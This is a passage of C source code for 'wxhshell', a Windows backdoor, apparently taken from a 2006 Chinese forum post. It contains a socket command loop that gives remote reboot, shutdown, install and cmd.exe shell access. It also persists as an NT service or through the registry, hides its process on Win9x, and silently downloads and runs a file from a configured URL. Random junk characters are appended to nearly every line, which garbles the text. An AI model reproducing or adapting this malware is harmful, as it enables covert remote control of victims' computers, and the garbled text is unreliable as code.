    switch(cmd[0]) { R<UjhCvx.  
  aE{b65'Dt  
  // 帮助 "6KOql3  
  case '?': { Cc Ni8Wg_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AU'{aC+p  
    break; 1}ZBj%z4l  
  } /4~RlXf@  
  // 安装 pNiqb+^nz  
  case 'i': { 7KM!\"PM  
    if(Install()) _IlL'c5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (OG@]|-  
    else /-|xxy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ @1&G~x  
    break; 1~7y]d?%  
    } G$@X>)2N8  
  // 卸载 H50nR$$<*Y  
  case 'r': { +Z;0"'K'e  
    if(Uninstall()) +'#d*r91@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3^ Z tIZ  
    else tQ&#FFt,)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uDoSe^0  
    break; fs)O7x-B(  
    } 9(X *[X#  
  // 显示 wxhshell 所在路径  %;W8;  
  case 'p': { m9e$ZZG$  
    char svExeFile[MAX_PATH]; #='#`5_5  
    strcpy(svExeFile,"\n\r"); pu>LC6m3a  
      strcat(svExeFile,ExeFile); ~Q%QA._R?  
        send(wsh,svExeFile,strlen(svExeFile),0); R*&3i$S  
    break; ;QE Gr|(  
    } -5>g 0o2  
  // 重启 T@vVff  
  case 'b': { uo%O\} #u9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \pPq ]k  
    if(Boot(REBOOT)) T2(+HI2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]iNSa{G  
    else { v#/,,)m  
    closesocket(wsh); R,^FJ  
    ExitThread(0); ,*lK4 ?v  
    } %xk]y&jv  
    break; M]_vb,=1  
    } \Fj4Gy?MW  
  // 关机 [FCNW0NV  
  case 'd': { Bf* F ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SfR!q4b=  
    if(Boot(SHUTDOWN)) pEaH^(I*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }oU&J81  
    else { S7SPc   
    closesocket(wsh); ;zJ_apZ:{  
    ExitThread(0); @%fkW"y:  
    } <'vM+Lk  
    break; \Fe5<G'v  
    } zO\"$8q*  
  // 获取shell X0P$r6 ;  
  case 's': { PCIC*!{  
    CmdShell(wsh); LnyA5T  
    closesocket(wsh); m76]INq  
    ExitThread(0); g,W#3b6>j  
    break; :- 5Mn3*  
  } j68Gz5;j  
  // 退出 hs*:!&E  
  case 'x': { /kWWwy<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 02+^rqIx5  
    CloseIt(wsh); r-0 7!A  
    break; 1%:A9%O)t  
    } gSv<.fD"  
  // 离开 $N ]P#g?Q  
  case 'q': { W ][IHy<   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SwL\=nq+~  
    closesocket(wsh); s`TBz8QO$  
    WSACleanup(); w##Fpv<m  
    exit(1); [&4y@  
    break; W>Kwl*Cis"  
        } z&:[.B   
  } )- \w  
  } x SUR<  
-|T^  
  // 提示信息 Af%?WZlOq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lr~K3nb  
} ?t"PawBWE  
  } 3HiW1*5W  
oe<Y,%u"6  
  return; INT2i8oU  
} zJy{Ry[Sb  
%)e+w+  
// shell模块句柄 *~"`&rM(  
int CmdShell(SOCKET sock) &ar}6eO  
{ g\Z k*5(  
STARTUPINFO si; aD^MoB3  
ZeroMemory(&si,sizeof(si)); @88 efF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SM<kE<q#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C G7 LF  
PROCESS_INFORMATION ProcessInfo; ",+uvJT1O  
char cmdline[]="cmd"; utE:HD.PN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5 6R,+sN  
  return 0; EpfmH `  
} S ] &->5"  
^/uGcz|.  
// 自身启动模式 5a&w M  
int StartFromService(void) y{sA["   
{ 4ca-!pI0  
typedef struct R;yAqr29  
{ E6gEP0b  
  DWORD ExitStatus; *LVM}| f  
  DWORD PebBaseAddress; ,+RO 5n  
  DWORD AffinityMask; 1L|(:m+  
  DWORD BasePriority; ? `KOW  
  ULONG UniqueProcessId; w;(gi  
  ULONG InheritedFromUniqueProcessId; {|%O)fr,  
}   PROCESS_BASIC_INFORMATION; MD)"r>k  
D^{:UbN  
PROCNTQSIP NtQueryInformationProcess; Z^l!y5s/H  
ChGM7uu2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gK(4<PO'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !O-+ h0Z  
@FV;5M:I  
  HANDLE             hProcess; .g~@e_;):  
  PROCESS_BASIC_INFORMATION pbi; a\w | tf  
\2,18E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (AYS>8O&  
  if(NULL == hInst ) return 0; 6~S0t1/t?  
ihWz/qx&q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  R'/wOE2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %},gE[N!J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o;mIu#u  
o0L#39`' g  
  if (!NtQueryInformationProcess) return 0; * 2%e.d3"M  
Uz|]}t5V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \7/_+)0}'  
  if(!hProcess) return 0; G= cxc_9  
{ 1%ZyY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >B  
d@tr]v5 B  
  CloseHandle(hProcess); r\d:fot  
clw91yrQn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'qJ-eQ7e  
if(hProcess==NULL) return 0; 02[II_< 1  
R!,)?j;  
HMODULE hMod; gxM8IQ  
char procName[255]; "~<~b2Y"5  
unsigned long cbNeeded; O:)IRB3  
~S6{VK.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T6$<o\g'  
H\mVK!](D  
  CloseHandle(hProcess); %#9~V  
Yk Pt*?,P/  
if(strstr(procName,"services")) return 1; // 以服务启动 dO,05?q|  
63S1ed [  
  return 0; // 注册表启动 RHVv}N0  
} '.yWL  
&|'6-wD.  
// 主模块 a7\L-T+  
int StartWxhshell(LPSTR lpCmdLine) XB-|gPk  
{ j*4S]!  
  SOCKET wsl; `uA&w}(G  
BOOL val=TRUE; Nh9!lBm*]  
  int port=0; ]ECZU   
  struct sockaddr_in door; e0HP~&BRs  
Rk%M~D*-  
  if(wscfg.ws_autoins) Install(); +3>/,w(x  
.~L4#V{c~  
port=atoi(lpCmdLine); %k #Nu  
+c`C9RXk  
if(port<=0) port=wscfg.ws_port; ~4MjJKzA  
RCYbRR4y  
  WSADATA data; "n }fEVJ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q+(:n)G_6E  
2bnIT>(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [V, ;X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :s '"u]  
  door.sin_family = AF_INET; (B,t 1+%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *u'`XRJU/  
  door.sin_port = htons(port); Wmxw!   
$S8bp3)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OIty ]c  
closesocket(wsl); K)UOx#xe1  
return 1; "!6~*!]c  
} Y0O<]2yVx  
y~c[sW   
  if(listen(wsl,2) == INVALID_SOCKET) { ptyDv  
closesocket(wsl); H)T# R?  
return 1; 9~'Ip7X,!  
} */dh_P<Yj  
  Wxhshell(wsl); X]MM7hMuR  
  WSACleanup(); [e@OHQM  
P8,jA<W  
return 0; , )pt_"-XA  
H0 n@kKr  
} W?J*9XQ`  
ioa_AG6B  
// 以NT服务方式启动 ku9F N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X/,1]  
{ {_ho!OS>  
DWORD   status = 0; {C0^D*U:  
  DWORD   specificError = 0xfffffff; "rDzrz  
}_:#fE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =tRe3o0(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -sH.yAvC6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ilcy/  
  serviceStatus.dwWin32ExitCode     = 0; 1qKxg  
  serviceStatus.dwServiceSpecificExitCode = 0; k>;r9^D  
  serviceStatus.dwCheckPoint       = 0; i -s?"Fk  
  serviceStatus.dwWaitHint       = 0; W<N QU f[=  
7K]U |K#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D3AtYt  
  if (hServiceStatusHandle==0) return; wQrPS  
?Gv!d  
status = GetLastError(); `) !2E6 =  
  if (status!=NO_ERROR) +6)kX4  
{ 2j/1@Z1j=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Yks,2:P  
    serviceStatus.dwCheckPoint       = 0; f.84=epv  
    serviceStatus.dwWaitHint       = 0; xiOrk  
    serviceStatus.dwWin32ExitCode     = status; i =fOdp  
    serviceStatus.dwServiceSpecificExitCode = specificError; -5,y 1_M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ="w8U'  
    return; (VI* c!N  
  } }%ZG> LG5J  
0/00 W6r0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (9 z.IH7}k  
  serviceStatus.dwCheckPoint       = 0; UNcJ=   
  serviceStatus.dwWaitHint       = 0; -KJ!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OK2/k_jXN'  
} (=tF2YBV  
> <  _Z  
// 处理NT服务事件,比如:启动、停止 tTh;.88Z{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0CVsDVA  
{ $s(4?^GP  
switch(fdwControl) qTa]th;  
{ lp0T\ %  
case SERVICE_CONTROL_STOP: ]7R&m)16  
  serviceStatus.dwWin32ExitCode = 0; nK%/tdq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ];{l$-$$  
  serviceStatus.dwCheckPoint   = 0; O$umu_  
  serviceStatus.dwWaitHint     = 0; L!b0y7yR  
  { %=mwOoMk0L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &~JfDe9IS  
  } g*r{!:,t  
  return; VRQbf  
case SERVICE_CONTROL_PAUSE: B/9<b{6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IU'!?XVo  
  break; N" Jtg@w  
case SERVICE_CONTROL_CONTINUE: MHr0CYyb.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XG\a-dq[  
  break; Vh.;p.!e  
case SERVICE_CONTROL_INTERROGATE: OxHw1k  
  break; !%RJC,X  
}; .";tnC!e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E ^SM`  
} xX&>5 "  
?ZuD _L-i  
// 标准应用程序主函数 lF}$`6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i h$@:^\  
{ vPl6Das r  
WVT5VJ7*  
// 获取操作系统版本 $6&GAJe  
OsIsNt=GetOsVer(); z Jo#3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e"s{_V  
w{zJE]7  
  // 从命令行安装 C`th^dqBV  
  if(strpbrk(lpCmdLine,"iI")) Install(); B:A1W{l  
k.=S+#"}  
  // 下载执行文件 (|a$N.e&K  
if(wscfg.ws_downexe) { x+*L5$;h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X v7U<q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Puth8$  
} gcW{]0%L^  
.t^UK#@#4  
if(!OsIsNt) { L4/TI(MP  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;/)Mcx]n  
HideProc(); :U-US|)(2  
StartWxhshell(lpCmdLine); ^;CR0.4  
} jY#(A23  
else u5{5ts+:  
  if(StartFromService()) DtJTnvG~B  
  // 以服务方式启动 ++Ys9Y)*,  
  StartServiceCtrlDispatcher(DispatchTable); 4<3?al&  
else i^s`6:rNu  
  // 普通方式启动 ghJ,s|lH  
  StartWxhshell(lpCmdLine); 9?l?G GmQ  
{Z?$Co^R  
return 0; +.gf]|  
}
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只看该作者 1 发表于: 2006-10-10
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